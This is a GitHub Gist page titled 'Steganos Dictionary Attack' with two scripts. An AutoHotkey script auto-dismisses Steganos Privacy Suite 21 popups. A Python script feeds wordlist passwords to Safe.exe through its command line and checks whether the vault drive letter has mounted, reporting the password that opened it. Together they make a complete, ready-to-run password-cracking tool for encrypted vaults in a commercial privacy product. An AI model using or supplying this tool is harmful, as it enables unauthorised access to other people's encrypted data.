Last active
July 28, 2025 16:37
-
-
Save cumulus13/256a7372ad03f35a1a075067839e6e9b to your computer and use it in GitHub Desktop.
Steganos Dictionary Attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Persistent | |
SetTitleMatchMode, 2 | |
Loop { | |
WinWait, Steganos Privacy Suite 21 | |
IfWinExist, Steganos Privacy Suite 21 | |
{ | |
ControlClick, Button1, Steganos Privacy Suite 21 | |
Sleep, 100 | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
#install AutoHotKey then run 'close_popup.ahk' before run this script | |
import subprocess | |
import time | |
import os | |
import sys | |
from pathlib import Path | |
def usage(message=None): | |
print(f""" | |
usage: {Path(__file__).stem} VAULT_NAME [WORDLISTS=wordlists.txt] [DRIVE_NAME=X] [SAFE_EXE_PATH="C:\\Program Files (x86)\\Steganos Privacy Suite 21\\Safe.exe"] | |
""") | |
if message: | |
print(message) | |
print("note: install AutoHotKey then run 'close_popup.ahk' before run this script") | |
sys.exit(0) | |
if len(sys.argv) < 2: | |
usage() | |
SAFE_NAME = sys.argv[1] | |
# --- default values --- | |
WORDLIST = "wordlists.txt" | |
DRIVE_NAME = "X" | |
SAFE_EXE = r"C:\Program Files (x86)\Steganos Privacy Suite 21\Safe.exe" | |
# --- arguments --- | |
if len(sys.argv) >= 3: | |
arg2 = sys.argv[2] | |
# check if exe file or not | |
if arg2.lower().endswith(".exe"): | |
SAFE_EXE = arg2 | |
else: | |
WORDLIST = arg2 | |
if len(sys.argv) >= 4: | |
arg3 = sys.argv[3] | |
# if arg3 is exe file | |
if arg3.lower().endswith(".exe"): | |
SAFE_EXE = arg3 | |
else: | |
DRIVE_NAME = arg3.replace(":", "") | |
if len(sys.argv) >= 5: | |
SAFE_EXE = sys.argv[4] | |
# --- validation --- | |
if not os.path.isfile(WORDLIST): | |
usage(f"Wordlist file not found: {WORDLIST}") | |
if not os.path.isfile(SAFE_EXE): | |
usage(f"Safe executable not found: {SAFE_EXE}") | |
print(f"SAFE_NAME : {SAFE_NAME}") | |
print(f"WORDLISTS : {WORDLIST}") | |
print(f"SAFE_EXE : {SAFE_EXE}") | |
print(f"DRIVE_NAME : {DRIVE_NAME}") | |
# print(f"sys.argv : {sys.argv}") | |
def try_password(password): | |
cmd = [ | |
SAFE_EXE, | |
"-entry", f"Safe.ToggleDrive.{SAFE_NAME}", | |
f"Safe.Pass.{password}" | |
] | |
try: | |
subprocess.run(cmd, capture_output=True, text=True) | |
time.sleep(1.5) # sleep of AutoHotkey to close popup | |
drives = os.popen("wmic logicaldisk get name").read() | |
if f"{DRIVE_NAME}:" in drives: | |
return True | |
except Exception as e: | |
print("Error:", e) | |
return False | |
if __name__ == "__main__": | |
with open(WORDLIST, encoding="utf-8", errors="ignore") as f: | |
for line in f: | |
password = line.strip() | |
if not password: | |
continue | |
print(f"try: {password}") | |
if try_password(password): | |
print(f"[+] Password FOUND !: {password}") | |
break | |
else: | |
print("[-] NO password match in wordlists.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment